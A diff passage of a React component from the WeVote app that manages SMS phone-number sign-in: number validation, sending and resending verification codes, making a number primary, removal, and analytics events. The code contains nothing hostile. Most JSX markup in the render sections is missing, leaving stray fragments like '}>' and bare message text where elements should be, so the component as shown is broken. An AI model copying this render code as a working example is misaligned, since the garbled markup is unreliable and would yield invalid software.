- signInCodeSMSSentAndWaitingForResponse: false,
- voterSMSPhoneNumber: '', // Clearing voterSMSPhoneNumber variable does not always clear number in form
- });
- this.props.showAllSignInOptions();
- setTimeout(() => {
- // A timer hack to prevent a "React state update on an unmounted component"
- VoterActions.clearSecretCodeVerificationStatusAndPhone();
- }, 1000);
- if (this.state.phoneNumberErrorTimeoutId) {
- clearTimeout(this.state.phoneNumberErrorTimeoutId);
- }
- this.setState({ displayIncorrectPhoneNumberError: false });
- const textField = document.getElementById('enterVoterPhone');
- textField.innerText = '';
- setTimeout(() => {
- const nextField = document.getElementById('enterVoterEmailAddress');
- if (nextField) {
- nextField.focus();
- }
- }, 100);
- };
-
- onFocus = () => {
- this.setState({
- displayPhoneVerificationButton: true,
- });
- if (isCordova() || isMobileScreenSize()) {
- this.showPhoneOnlySignInLocal();
- }
- // focusTextFieldAndroid(); // This refers to caller string AddFriendsByEmail. Correct?
- };
-
- onAnimationEndCancel = () => {
- // In Cordova when the virtual keyboard goes away, the on-click doesn't happen, but the onAnimation does.
- // This allows us to react to the first click.
- // if (isCordova()) {
- // // console.log('VoterPhoneVerificationEntry onAnimationEndCancel calling onCancel');
- // this.onCancel();
- // }
- };
-
- onAnimationEndSend = () => {
- // if (isCordova()) {
- // // console.log('VoterPhoneVerificationEntry onAnimationEndSend calling sendSignInCodeSMS');
- // this.sendSignInCodeSMS();
- // }
- };
-
- onKeyDown = (event) => {
- // console.log('onKeyDown, event.keyCode:', event.keyCode);
- // Consider limiting to numbers, dash and plus
- // const regex = /^[0-9]$/;
- // const digit = String.fromCharCode((event.keyCode >= 96 && event.keyCode <= 105) ? event.keyCode - 48 : event.keyCode);
- // if (e.keyCode !== 8 && regex.test(digit)) {
- const ENTER_KEY_CODE = 13;
- const SPACE_KEY_CODE = 32;
- const keyCodesToBlock = [SPACE_KEY_CODE];
- const keyCodesForSubmit = [ENTER_KEY_CODE];
- if (event.key === 'Tab' && event.shiftKey) {
- shiftTabKeyPressed = true;
- } else {
- shiftTabKeyPressed = false;
- }
- if (keyCodesToBlock.includes(event.keyCode)) {
- event.preventDefault();
- } else if (keyCodesForSubmit.includes(event.keyCode)) {
- event.preventDefault();
- this.sendSignInCodeSMS(event);
- }
- };
-
- // eslint-disable-next-line react/sort-comp
- removeVoterSMSPhoneNumber (smsWeVoteId) {
- VoterActions.removeVoterSMSPhoneNumber(smsWeVoteId);
- return null;
- }
-
- sendSignInCodeSMS = (event) => {
- const { displayPhoneVerificationButton, voterSMSPhoneNumber, voterSMSPhoneNumberIsValid } = this.state;
- // console.log('sendSignInCodeSMS voterSMSPhoneNumber:', voterSMSPhoneNumber, 'displayPhoneVerificationButton:', displayPhoneVerificationButton, 'voterSMSPhoneNumberIsValid:', voterSMSPhoneNumberIsValid);
- if (event) {
- event.preventDefault();
- }
- if (voterSMSPhoneNumberIsValid && displayPhoneVerificationButton) {
- this.setState({
- signInCodeSMSSentAndWaitingForResponse: true,
- smsPhoneNumberStatus: {
- sms_phone_number_already_owned_by_other_voter: false,
- },
- }, () => {
- VoterActions.sendSignInCodeSMS(voterSMSPhoneNumber);
- });
- } else {
- this.setState({ displayIncorrectPhoneNumberError: true });
- }
- };
-
- reSendSignInCodeSMS = (voterSMSPhoneNumber) => {
- // console.log('reSendSignInCodeSMS');
- if (voterSMSPhoneNumber) {
- VoterActions.sendSignInCodeSMS(voterSMSPhoneNumber);
- this.setState({
- loading: true,
- displayPhoneVerificationButton: true,
- smsPhoneNumberStatus: {
- sms_phone_number_already_owned_by_other_voter: false,
- },
- voterSMSPhoneNumber,
- });
- }
- };
-
- pushDataLayer = (buttonId, actionType) => {
- const dataLayerObject = {
- actionDetails: {
- actionType,
- buttonId,
- },
- event: 'click',
- verifyDetails: {
- verifyMethod: 'SMS',
- },
- pageDetails: getPageDetails(),
- userDetails: VoterStore.getAnalyticsUserDetails(),
- };
- TagManager.dataLayer({ dataLayer: dataLayerObject });
- };
-
- render () {
- renderLog('VoterPhoneVerificationEntry'); // Set LOG_RENDER_EVENTS to log all renders
- const { doNotRender } = this.props;
- if (doNotRender) {
- return null;
- }
- const { loading } = this.state;
- if (loading) {
- return LoadingWheel;
- }
-
- const { classes, hideEverythingButSignInWithPhoneForm, hideSignInWithPhoneForm, lockOpenPhoneVerificationButton } = this.props;
- const {
- disablePhoneVerificationButton, displayPhoneVerificationButton,
- displayIncorrectPhoneNumberError, hideExistingPhoneNumbers,
- secretCodeSystemLocked, showVerifyModal, signInCodeSMSSentAndWaitingForResponse,
- smsPhoneNumberStatus, smsPhoneNumberList, smsPhoneNumberListCount, voterSMSPhoneNumber,
- } = this.state;
- // console.log('VoterPhoneVerificationEntry render showVerifyModal:', showVerifyModal);
-
- const signInLinkOrCodeSent = (smsPhoneNumberStatus.link_to_sign_in_sms_sent || smsPhoneNumberStatus.sign_in_code_sms_sent);
- const smsPhoneNumberStatusHtml = (
-
- {(smsPhoneNumberStatus.sms_phone_number_already_owned_by_this_voter &&
- !smsPhoneNumberStatus.sms_phone_number_deleted &&
- !smsPhoneNumberStatus.make_primary_sms && !secretCodeSystemLocked) ||
- (smsPhoneNumberStatus.sms_phone_number && !smsPhoneNumberStatus.sign_in_code_sms_sent && !secretCodeSystemLocked) ||
- (smsPhoneNumberStatus.sms_phone_number_already_owned_by_other_voter && !signInLinkOrCodeSent && !secretCodeSystemLocked) ||
- secretCodeSystemLocked ? (
-
- {(smsPhoneNumberStatus.sms_phone_number_already_owned_by_other_voter && !signInLinkOrCodeSent && !secretCodeSystemLocked) && (
-
- That phone is already being used by another account.
-
- )}
- {(smsPhoneNumberStatus.sms_phone_number_already_owned_by_this_voter && !smsPhoneNumberStatus.sms_phone_number_deleted && !smsPhoneNumberStatus.make_primary_sms && !secretCodeSystemLocked) && (
-
- That phone number was already verified by you.
-
- )}
- {(smsPhoneNumberStatus.sms_phone_number && !smsPhoneNumberStatus.sign_in_code_sms_sent && !secretCodeSystemLocked) && (
-
- We could not send a code to this number. Please double-check your number and try again.
-
- )}
- { secretCodeSystemLocked && (
-
- Your account is locked. Please
- }>
- contact WeVote support for help.}
- />
-
-
- )}
-
- ) : null}
- {(smsPhoneNumberStatus.sms_phone_number_created && !smsPhoneNumberStatus.verification_sms_sent && !secretCodeSystemLocked) ||
- smsPhoneNumberStatus.sms_phone_number_deleted ||
- smsPhoneNumberStatus.sms_ownership_is_verified ||
- smsPhoneNumberStatus.make_primary_sms ||
- smsPhoneNumberStatus.sign_in_code_sms_sent ? (
-
- { smsPhoneNumberStatus.sms_phone_number_created && !smsPhoneNumberStatus.verification_sms_sent && !secretCodeSystemLocked ? Your phone number was saved. : null }
- { smsPhoneNumberStatus.sms_phone_number_deleted ? Your phone number was deleted. : null }
- { smsPhoneNumberStatus.sms_ownership_is_verified ? Your phone number was verified. : null }
- { smsPhoneNumberStatus.make_primary_sms ? Your have chosen a new primary phone number. : null }
- { smsPhoneNumberStatus.sign_in_code_sms_sent && !smsPhoneNumberStatus.sms_phone_number_created ? Please check your phone. A sign in verification code was sent. : null }
-
- ) : null}
-
- );
-
- const enterSMSPhoneNumberHtml = hideSignInWithPhoneForm ? null : (
-
-
- {!(displayPhoneVerificationButton || lockOpenPhoneVerificationButton) && (
-
- )}
-
-
-
- {voterSMSPhoneNumberFromList.normalized_sms_phone_number}
-
-
-
- {isPrimarySMSPhoneNumber ? (
-
-
- Primary
-
-
- You must add a new primary number before removing this one.
-
- )}
- >
-
-
-
-
-
-
-
- ) : (
-
- this.setAsPrimarySMSPhoneNumber(voterSMSPhoneNumberFromList.sms_we_vote_id)}
- >
- Make Primary
-
- {allowRemoveSMSPhoneNumber && (
- this.removeVoterSMSPhoneNumber(voterSMSPhoneNumberFromList.sms_we_vote_id)}
- >
-
- )}
-
- )}
-
-
-
-
- {voterSMSPhoneNumberFromList.normalized_sms_phone_number.trim()}
-
- {voterSMSPhoneNumberFromList.sms_ownership_is_verified ?
- null : (
-
-
- this.reSendSignInCodeSMS(voterSMSPhoneNumberFromList.normalized_sms_phone_number)}
- >
- Send verification again
-
- {allowRemoveSMSPhoneNumber && (
- this.removeVoterSMSPhoneNumber(voterSMSPhoneNumberFromList.sms_we_vote_id)}
- >
-
- )}
-
-
- )}
-
-
- {(hideEverythingButSignInWithPhoneForm || hideExistingPhoneNumbers) ? (
-
- {smsPhoneNumberStatusHtml}
-
- ) : (
-
- {verifiedSMSFound ? (
-
-
- Your Phone Number
- {smsPhoneNumberListCount > 1 ? 's' : ''}
-
- {smsPhoneNumberStatusHtml}
- {verifiedSMSListHtml}
-
- ) : (
-
- {smsPhoneNumberStatusHtml}
-
- )}
- {unverifiedSMSFound && (
-
- Phone Numbers to Verify
- {toVerifySMSListHtml}
-
- )}
-
- )}
- {!hideSignInWithPhoneForm && (
-
- {enterSMSPhoneNumberHtml}
-
- )}
- {showVerifyModal && (
-
- );
- }
-}
-VoterPhoneVerificationEntry.propTypes = {
- classes: PropTypes.object,
- closeSignInModal: PropTypes.func,
- closeVerifyModal: PropTypes.func,
- doNotRender: PropTypes.bool,
- hideEverythingButSignInWithPhoneForm: PropTypes.bool,
- hideSignInWithPhoneForm: PropTypes.bool,
- lockOpenPhoneVerificationButton: PropTypes.bool,
- showAllSignInOptions: PropTypes.func,
- showPhoneOnlySignIn: PropTypes.func,
- showEmailOnlySignIn: PropTypes.func,
-};
-
-const styles = {
- paperRoot: {
- border: '1px solid #ccc',
- boxShadow: 'none',
- display: 'flex',
- justifyContent: 'space-between',
- alignItems: 'center',
- width: '100%',
- paddingLeft: 8,
- marginBottom: 8,
- },
- input: {
- marginLeft: 0.1,
- flex: 1,
- },
- button: {
- width: '100%',
- },
- cancelButton: {
- width: '100%',
- },
-};
-
-const ButtonsHiddenSpacer = styled('div')`
- height: 44px;
-`;
-
-const ButtonWrapper = styled('div')`
- width: 100%;
- margin: 4px 0 0 0;
- display: flex;
- align-items: center;
- justify-content: flex-end;
-`;
-
-const CancelButtonContainer = styled('div')`
- width: fit-content;
-`;
-
-// const Error = styled('div')`
-// color: rgb(255, 73, 34);
-// font-size: 14px;
-// `;
-
-const PhoneNumberSection = styled('div', {
- shouldForwardProp: (prop) => !['isWeb'].includes(prop),
-})(({ isWeb }) => (`
- margin-top: ${isWeb ? '18px;' : '0'};
-`));
-
-const VoterPhoneVerificationWrapper = styled('div', {
- shouldForwardProp: (prop) => !['isWeb'].includes(prop),
-})(({ isWeb }) => (`
- margin-top: ${isWeb ? '32px;' : '0'};
-`));
-
-export default withStyles(styles)(VoterPhoneVerificationEntry);
+import { Delete, Phone } from '@mui/icons-material';
+import {
+ Button,
+ InputAdornment,
+ TextField,
+} from '@mui/material';
+import Alert from '@mui/material/Alert';
+import withStyles from '@mui/styles/withStyles';
+import PropTypes from 'prop-types';
+import React, { Component, Suspense } from 'react';
+import { isValidPhoneNumber } from 'react-phone-number-input';
+import styled from 'styled-components';
+import OverlayTrigger from 'react-bootstrap/OverlayTrigger';
+import TagManager from 'react-gtm-module';
+import Tooltip from 'react-bootstrap/Tooltip';
+import VoterActions from '../../actions/VoterActions';
+import LoadingWheel from '../../common/components/Widgets/LoadingWheel';
+import apiCalming from '../../common/utils/apiCalming';
+import { blurTextFieldAndroid } from '../../common/utils/cordovaUtils';
+import { isCordova, isWebApp } from '../../common/utils/isCordovaOrWebApp';
+import isMobileScreenSize from '../../common/utils/isMobileScreenSize';
+import { renderLog } from '../../common/utils/logging';
+import VoterStore from '../../stores/VoterStore';
+import { FirstRowPhoneOrEmail, SecondRowPhoneOrEmail, SecondRowPhoneOrEmailDiv, AllPhoneOrEmailTypes } from '../Style/pageLayoutStyles';
+import { ButtonContainerHorizontal } from '../Welcome/sectionStyles';
+import SettingsVerifySecretCode from '../../common/components/Settings/SettingsVerifySecretCode';
+import { getPageDetails } from '../../utils/lookupPageNameAndPageTypeDict';
+// import { validatePhoneOrEmail } from '../../utils/regex-checks';
+
+const OpenExternalWebSite = React.lazy(() => import(/* webpackChunkName: 'OpenExternalWebSite' */ '../../common/components/Widgets/OpenExternalWebSite'));
+
+
+/* global $ */
+let shiftTabKeyPressed = false;
+class VoterPhoneVerificationEntry extends Component {
+ constructor (props) {
+ super(props);
+ this.state = {
+ disablePhoneVerificationButton: true,
+ displayPhoneVerificationButton: false,
+ displayIncorrectPhoneNumberError: false,
+ phoneNumberErrorTimeoutId: '',
+ hideExistingPhoneNumbers: false,
+ loading: false,
+ // movedInitialFocus: false,
+ secretCodeSystemLocked: false,
+ showVerifyModal: false,
+ // showError: false,
+ signInCodeSMSSentAndWaitingForResponse: false,
+ smsPhoneNumberList: [],
+ smsPhoneNumberListCount: 0,
+ smsPhoneNumberStatus: {},
+ voterSMSPhoneNumber: '',
+ // voterSMSPhoneNumbersVerifiedCount: 0,
+ voterSMSPhoneNumberIsValid: false,
+ };
+
+ this.onPhoneNumberChange = this.onPhoneNumberChange.bind(this);
+ this.sendSignInCodeSMS = this.sendSignInCodeSMS.bind(this);
+ this.closeVerifyModalFromVerifySecretCode = this.closeVerifyModalFromVerifySecretCode.bind(this);
+ this.removeVoterSMSPhoneNumber = this.removeVoterSMSPhoneNumber.bind(this);
+ // NOTE October 2022: This file has lots of commented out code, do not remove until there has been an iOS release
+ // if (isCordova()) {
+ // signInModalGlobalState.set('textOrEmailSignInInProcess', true);
+ // }
+ }
+
+ componentDidMount () {
+ this.onVoterStoreChange();
+ this.voterStoreListener = VoterStore.addListener(this.onVoterStoreChange.bind(this));
+ VoterActions.voterSMSPhoneNumberRetrieve();
+ const inputFld = $('#enterVoterPhone');
+ // console.log('enterVoterPhone ', $(inputFld));
+ $(inputFld).blur();
+ this._isMounted = true;
+ }
+
+ componentDidUpdate () {
+ // const { movedInitialFocus } = this.state;
+ // if (isCordova() && !movedInitialFocus) {
+ // const inputFld = $('#enterVoterPhone');
+ // console.log('voterPhoneVerificationEntry componentDidUpdate ', $(inputFld));
+ // $(inputFld).focus();
+ // if ($(inputFld).is(':focus')) {
+ // this.setState({ movedInitialFocus: true });
+ // }
+ // }
+ }
+
+ componentDidCatch (error, info) {
+ // We should get this information to Splunk!
+ console.error('VoterPhoneVerificationEntry caught error: ', `${error} with info: `, info);
+ }
+
+ componentWillUnmount () {
+ clearTimeout(this.clearPhoneTimer);
+ this.voterStoreListener.remove();
+ this._isMounted = false;
+ }
+
+ onVoterStoreChange () {
+ const smsPhoneNumberStatus = VoterStore.getSMSPhoneNumberStatus();
+ // console.log('smsPhoneNumberStatus:', smsPhoneNumberStatus);
+ const {
+ secret_code_system_locked_for_this_voter_device_id: secretCodeSystemLocked,
+ sign_in_code_sms_sent: signInCodeSMSSent,
+ } = smsPhoneNumberStatus;
+ const secretCodeVerificationStatus = VoterStore.getSecretCodeVerificationStatus();
+ const { secretCodeVerified } = secretCodeVerificationStatus;
+ // console.log('onVoterStoreChange smsPhoneNumberStatus:', smsPhoneNumberStatus);
+ const voter = VoterStore.getVoter();
+ const { is_signed_in: isSignedIn, signed_in_with_sms_phone_number: signedInWithSmsPhoneNumber } = voter;
+ if (secretCodeVerified && !isSignedIn) {
+ // console.log('VoterPhoneVerificationEntry onVoterStoreChange secretCodeVerified && !isSignedIn, VoterActions.voterRetrieve()');
+ if (apiCalming('voterRetrieve', 500)) {
+ VoterActions.voterRetrieve();
+ }
+ this.closeSignInModalLocal();
+ }
+
+ const newState = {}; // Don't set state twice in the same function
+ // console.log(`VoterEmailAddressEntry onVoterStoreChange isSignedIn: ${isSignedIn}, signedInWithSmsPhoneNumber: ${signedInWithSmsPhoneNumber}`);
+ if (secretCodeVerified) {
+ Object.assign(newState, {
+ displayPhoneVerificationButton: false,
+ showVerifyModal: false,
+ signInCodeSMSSentAndWaitingForResponse: false,
+ voterSMSPhoneNumber: '',
+ });
+ } else if (signInCodeSMSSent) {
+ Object.assign(newState, {
+ displayPhoneVerificationButton: false,
+ smsPhoneNumberStatus: {
+ sign_in_code_sms_sent: false,
+ },
+ showVerifyModal: true,
+ signInCodeSMSSentAndWaitingForResponse: false,
+ });
+ } else if (smsPhoneNumberStatus.sms_phone_number_already_owned_by_this_voter) {
+ Object.assign(newState, {
+ displayPhoneVerificationButton: false,
+ smsPhoneNumberStatus,
+ showVerifyModal: false,
+ signInCodeSMSSentAndWaitingForResponse: false,
+ });
+ } else if (signedInWithSmsPhoneNumber) {
+ this.closeSignInModalLocal();
+ Object.assign(newState, {
+ smsPhoneNumberStatus,
+ });
+ } else if (smsPhoneNumberStatus.sms_phone_number && !smsPhoneNumberStatus.sign_in_code_sms_sent) {
+ Object.assign(newState, {
+ displayPhoneVerificationButton: true,
+ smsPhoneNumberStatus,
+ signInCodeSMSSentAndWaitingForResponse: false,
+ });
+ } else {
+ Object.assign(newState, {
+ smsPhoneNumberStatus,
+ });
+ }
+ const smsPhoneNumberList = VoterStore.getSMSPhoneNumberList();
+ const smsPhoneNumberListCount = smsPhoneNumberList.length;
+ // const voterSMSPhoneNumbersVerifiedCount = VoterStore.getSMSPhoneNumbersVerifiedCount();
+ Object.assign(newState, {
+ loading: false,
+ secretCodeSystemLocked,
+ smsPhoneNumberList,
+ smsPhoneNumberListCount,
+ voter: VoterStore.getVoter(),
+ // voterSMSPhoneNumbersVerifiedCount,
+ });
+ // console.log('VoterEmailAddressEntry onVoterStoreChange before remaining setstate');
+ if (this._isMounted) {
+ // console.log('VoterEmailAddressEntry onVoterStoreChange before remaining setstate AND _isMounted');
+ this.setState(newState);
+ }
+ }
+
+ setAsPrimarySMSPhoneNumber (smsWeVoteId) {
+ VoterActions.setAsPrimarySMSPhoneNumber(smsWeVoteId);
+ }
+
+ // eslint-disable-next-line react/sort-comp
+ voterSMSPhoneNumberSave = (event) => {
+ // console.log('VoterPhoneVerificationEntry this.voterSMSPhoneNumberSave');
+ event.preventDefault();
+ const { displayPhoneVerificationButton, voterSMSPhoneNumber } = this.state;
+ if (voterSMSPhoneNumber && displayPhoneVerificationButton) {
+ this.setState({
+ loading: true,
+ }, () => VoterActions.voterSMSPhoneNumberSave(voterSMSPhoneNumber));
+ }
+ };
+
+ showPhoneOnlySignInLocal = () => {
+ this.setState({
+ hideExistingPhoneNumbers: true,
+ signInCodeSMSSentAndWaitingForResponse: false,
+ });
+ if (this.props.showPhoneOnlySignIn) {
+ this.props.showPhoneOnlySignIn();
+ }
+ };
+
+ closeSignInModalLocal = () => {
+ // console.log('VoterPhoneVerificationEntry closeSignInModalLocal');
+ if (this.props.closeSignInModal) {
+ this.props.closeSignInModal();
+ }
+ };
+
+ closeSignInModalFromVerifySecretCode = () => {
+ // console.log('VoterPhoneVerificationEntry closeSignInModalFromVerifySecretCode');
+ const delayBeforeClearingPhoneStatus = 500;
+ this.clearPhoneTimer = setTimeout(() => {
+ VoterActions.clearSecretCodeVerificationStatusAndPhone();
+ }, delayBeforeClearingPhoneStatus);
+ this.closeSignInModalLocal();
+ };
+
+ closeVerifyModalFromVerifySecretCode = () => {
+ // console.log('VoterPhoneVerificationEntry closeVerifyModalFromVerifySecretCode');
+ this.setState({
+ displayPhoneVerificationButton: false,
+ smsPhoneNumberStatus: {
+ sign_in_code_sms_sent: false,
+ },
+ showVerifyModal: false,
+ signInCodeSMSSentAndWaitingForResponse: false,
+ });
+ setTimeout(() => {
+ // A timer hack to prevent a "React state update on an unmounted component"
+ VoterActions.clearSecretCodeVerificationStatusAndPhone();
+ }, 1000);
+ // if (isCordova()) {
+ // this.closeSignInModalLocal();
+ // }
+ if (this.props.closeVerifyModal) {
+ this.props.closeVerifyModal();
+ }
+ };
+
+ onPhoneNumberChange (event) {
+ if (this.state.phoneNumberErrorTimeoutId) {
+ clearTimeout(this.state.phoneNumberErrorTimeoutId);
+ }
+ this.setState({ displayIncorrectPhoneNumberError: false });
+ const incomingVoterPhoneNumber = event.target.value;
+ const voterSMSPhoneNumberWithPlus = `+${incomingVoterPhoneNumber}`;
+ const voterSMSPhoneNumberWithPlusAndOne = `+1${incomingVoterPhoneNumber}`;
+
+ // const voterSMSPhoneNumberIsValidRaw = validatePhoneOrEmail(incomingVoterPhoneNumber);
+ const voterSMSPhoneNumberIsValidRaw = isValidPhoneNumber(incomingVoterPhoneNumber);
+ const voterSMSPhoneNumberIsValidWithPlus = isValidPhoneNumber(voterSMSPhoneNumberWithPlus);
+ const voterSMSPhoneNumberIsValidWithPlusAndOne = isValidPhoneNumber(voterSMSPhoneNumberWithPlusAndOne);
+ const voterSMSPhoneNumberIsValid = voterSMSPhoneNumberIsValidRaw || voterSMSPhoneNumberIsValidWithPlus || voterSMSPhoneNumberIsValidWithPlusAndOne;
+ // const voterSMSPhoneNumberIsValid = validatePhoneOrEmail(incomingVoterPhoneNumber);
+ const disablePhoneVerificationButton = !voterSMSPhoneNumberIsValid;
+ const displayPhoneVerificationButton = (incomingVoterPhoneNumber && incomingVoterPhoneNumber.length > 0);
+ // console.log('onPhoneNumberChange, incomingVoterPhoneNumber: ', incomingVoterPhoneNumber, ', voterSMSPhoneNumberIsValid:', voterSMSPhoneNumberIsValid);
+ // console.log('voterSMSPhoneNumberWithPlus:', voterSMSPhoneNumberWithPlus);
+ // console.log('voterSMSPhoneNumberWithPlusAndOne:', voterSMSPhoneNumberWithPlusAndOne);
+ const phoneNumberErrorTimeoutId = setTimeout(() => {
+ if (incomingVoterPhoneNumber && incomingVoterPhoneNumber.length > 0 && !voterSMSPhoneNumberIsValid) {
+ this.setState({ displayIncorrectPhoneNumberError: true });
+ }
+ }, 2000);
+ this.setState({
+ disablePhoneVerificationButton,
+ displayPhoneVerificationButton,
+ phoneNumberErrorTimeoutId,
+ voterSMSPhoneNumber: incomingVoterPhoneNumber,
+ voterSMSPhoneNumberIsValid,
+ });
+ }
+
+ onBlur = () => {
+ const { voterSMSPhoneNumber } = this.state;
+ if (!voterSMSPhoneNumber) {
+ // Only hide the phone verification button if the user has not "unlocked" the button used to send the message.
+ this.setState({
+ displayPhoneVerificationButton: false,
+ });
+ if (!shiftTabKeyPressed) {
+ if (isMobileScreenSize()) {
+ if (this.props.showEmailOnlySignIn) {
+ this.props.showEmailOnlySignIn();
+ setTimeout(() => {
+ const nextField = document.getElementById('enterVoterEmailAddress');
+ if (nextField) {
+ nextField.focus();
+ }
+ }, 100);
+ }
+ } else {
+ const nextField = document.getElementById('enterVoterEmailAddress') || document.getElementById('openTermsOfService');
+ if (nextField) {
+ nextField.focus();
+ }
+ }
+ } else if (isCordova() || isMobileScreenSize()) {
+ if (this.props.showAllSignInOptions) {
+ this.props.showAllSignInOptions();
+ setTimeout(() => {
+ const nextField = document.getElementById('appleSignInButton');
+ if (nextField) {
+ nextField.focus();
+ }
+ }, 50);
+ }
+ }
+ }
+ blurTextFieldAndroid();
+ };
+
+ onCancel = () => {
+ // console.log('VoterPhoneVerificationEntry onCancel');
+ this.setState({
+ disablePhoneVerificationButton: false,
+ displayIncorrectPhoneNumberError: false,
+ displayPhoneVerificationButton: false,
+ signInCodeSMSSentAndWaitingForResponse: false,
+ voterSMSPhoneNumber: '', // Clearing voterSMSPhoneNumber variable does not always clear number in form
+ });
+ this.props.showAllSignInOptions();
+ setTimeout(() => {
+ // A timer hack to prevent a "React state update on an unmounted component"
+ VoterActions.clearSecretCodeVerificationStatusAndPhone();
+ }, 1000);
+ if (this.state.phoneNumberErrorTimeoutId) {
+ clearTimeout(this.state.phoneNumberErrorTimeoutId);
+ }
+ this.setState({ displayIncorrectPhoneNumberError: false });
+ const textField = document.getElementById('enterVoterPhone');
+ textField.innerText = '';
+ setTimeout(() => {
+ const nextField = document.getElementById('enterVoterEmailAddress');
+ if (nextField) {
+ nextField.focus();
+ }
+ }, 100);
+ };
+
+ onFocus = () => {
+ this.setState({
+ displayPhoneVerificationButton: true,
+ });
+ if (isCordova() || isMobileScreenSize()) {
+ this.showPhoneOnlySignInLocal();
+ }
+ // focusTextFieldAndroid(); // This refers to caller string AddFriendsByEmail. Correct?
+ };
+
+ onAnimationEndCancel = () => {
+ // In Cordova when the virtual keyboard goes away, the on-click doesn't happen, but the onAnimation does.
+ // This allows us to react to the first click.
+ // if (isCordova()) {
+ // // console.log('VoterPhoneVerificationEntry onAnimationEndCancel calling onCancel');
+ // this.onCancel();
+ // }
+ };
+
+ onAnimationEndSend = () => {
+ // if (isCordova()) {
+ // // console.log('VoterPhoneVerificationEntry onAnimationEndSend calling sendSignInCodeSMS');
+ // this.sendSignInCodeSMS();
+ // }
+ };
+
+ onKeyDown = (event) => {
+ // console.log('onKeyDown, event.keyCode:', event.keyCode);
+ // Consider limiting to numbers, dash and plus
+ // const regex = /^[0-9]$/;
+ // const digit = String.fromCharCode((event.keyCode >= 96 && event.keyCode <= 105) ? event.keyCode - 48 : event.keyCode);
+ // if (e.keyCode !== 8 && regex.test(digit)) {
+ const ENTER_KEY_CODE = 13;
+ const SPACE_KEY_CODE = 32;
+ const keyCodesToBlock = [SPACE_KEY_CODE];
+ const keyCodesForSubmit = [ENTER_KEY_CODE];
+ if (event.key === 'Tab' && event.shiftKey) {
+ shiftTabKeyPressed = true;
+ } else {
+ shiftTabKeyPressed = false;
+ }
+ if (keyCodesToBlock.includes(event.keyCode)) {
+ event.preventDefault();
+ } else if (keyCodesForSubmit.includes(event.keyCode)) {
+ event.preventDefault();
+ this.sendSignInCodeSMS(event);
+ }
+ };
+
+ // eslint-disable-next-line react/sort-comp
+ removeVoterSMSPhoneNumber (smsWeVoteId) {
+ VoterActions.removeVoterSMSPhoneNumber(smsWeVoteId);
+ return null;
+ }
+
+ sendSignInCodeSMS = (event) => {
+ const { displayPhoneVerificationButton, voterSMSPhoneNumber, voterSMSPhoneNumberIsValid } = this.state;
+ // console.log('sendSignInCodeSMS voterSMSPhoneNumber:', voterSMSPhoneNumber, 'displayPhoneVerificationButton:', displayPhoneVerificationButton, 'voterSMSPhoneNumberIsValid:', voterSMSPhoneNumberIsValid);
+ if (event) {
+ event.preventDefault();
+ }
+ if (voterSMSPhoneNumberIsValid && displayPhoneVerificationButton) {
+ this.setState({
+ signInCodeSMSSentAndWaitingForResponse: true,
+ smsPhoneNumberStatus: {
+ sms_phone_number_already_owned_by_other_voter: false,
+ },
+ }, () => {
+ VoterActions.sendSignInCodeSMS(voterSMSPhoneNumber);
+ });
+ } else {
+ this.setState({ displayIncorrectPhoneNumberError: true });
+ }
+ };
+
+ reSendSignInCodeSMS = (voterSMSPhoneNumber) => {
+ // console.log('reSendSignInCodeSMS');
+ if (voterSMSPhoneNumber) {
+ VoterActions.sendSignInCodeSMS(voterSMSPhoneNumber);
+ this.setState({
+ loading: true,
+ displayPhoneVerificationButton: true,
+ smsPhoneNumberStatus: {
+ sms_phone_number_already_owned_by_other_voter: false,
+ },
+ voterSMSPhoneNumber,
+ });
+ }
+ };
+
+ pushDataLayer = (buttonId, actionType) => {
+ const dataLayerObject = {
+ actionDetails: {
+ actionType,
+ buttonId,
+ },
+ event: 'click',
+ verifyDetails: {
+ verifyMethod: 'SMS',
+ },
+ pageDetails: getPageDetails(),
+ userDetails: VoterStore.getAnalyticsUserDetails(),
+ };
+ TagManager.dataLayer({ dataLayer: dataLayerObject });
+ };
+
+ render () {
+ renderLog('VoterPhoneVerificationEntry'); // Set LOG_RENDER_EVENTS to log all renders
+ const { doNotRender } = this.props;
+ if (doNotRender) {
+ return null;
+ }
+ const { loading } = this.state;
+ if (loading) {
+ return LoadingWheel;
+ }
+
+ const { classes, hideEverythingButSignInWithPhoneForm, hideSignInWithPhoneForm, lockOpenPhoneVerificationButton } = this.props;
+ const {
+ disablePhoneVerificationButton, displayPhoneVerificationButton,
+ displayIncorrectPhoneNumberError, hideExistingPhoneNumbers,
+ secretCodeSystemLocked, showVerifyModal, signInCodeSMSSentAndWaitingForResponse,
+ smsPhoneNumberStatus, smsPhoneNumberList, smsPhoneNumberListCount, voterSMSPhoneNumber,
+ } = this.state;
+ // console.log('VoterPhoneVerificationEntry render showVerifyModal:', showVerifyModal);
+
+ const signInLinkOrCodeSent = (smsPhoneNumberStatus.link_to_sign_in_sms_sent || smsPhoneNumberStatus.sign_in_code_sms_sent);
+ const smsPhoneNumberStatusHtml = (
+
+ {(smsPhoneNumberStatus.sms_phone_number_already_owned_by_this_voter &&
+ !smsPhoneNumberStatus.sms_phone_number_deleted &&
+ !smsPhoneNumberStatus.make_primary_sms && !secretCodeSystemLocked) ||
+ (smsPhoneNumberStatus.sms_phone_number && !smsPhoneNumberStatus.sign_in_code_sms_sent && !secretCodeSystemLocked) ||
+ (smsPhoneNumberStatus.sms_phone_number_already_owned_by_other_voter && !signInLinkOrCodeSent && !secretCodeSystemLocked) ||
+ secretCodeSystemLocked ? (
+
+ {(smsPhoneNumberStatus.sms_phone_number_already_owned_by_other_voter && !signInLinkOrCodeSent && !secretCodeSystemLocked) && (
+
+ That phone is already being used by another account.
+
+ )}
+ {(smsPhoneNumberStatus.sms_phone_number_already_owned_by_this_voter && !smsPhoneNumberStatus.sms_phone_number_deleted && !smsPhoneNumberStatus.make_primary_sms && !secretCodeSystemLocked) && (
+
+ That phone number was already verified by you.
+
+ )}
+ {(smsPhoneNumberStatus.sms_phone_number && !smsPhoneNumberStatus.sign_in_code_sms_sent && !secretCodeSystemLocked) && (
+
+ We could not send a code to this number. Please double-check your number and try again.
+
+ )}
+ { secretCodeSystemLocked && (
+
+ Your account is locked. Please
+ }>
+ contact WeVote support for help.}
+ />
+
+
+ )}
+
+ ) : null}
+ {(smsPhoneNumberStatus.sms_phone_number_created && !smsPhoneNumberStatus.verification_sms_sent && !secretCodeSystemLocked) ||
+ smsPhoneNumberStatus.sms_phone_number_deleted ||
+ smsPhoneNumberStatus.sms_ownership_is_verified ||
+ smsPhoneNumberStatus.make_primary_sms ||
+ smsPhoneNumberStatus.sign_in_code_sms_sent ? (
+
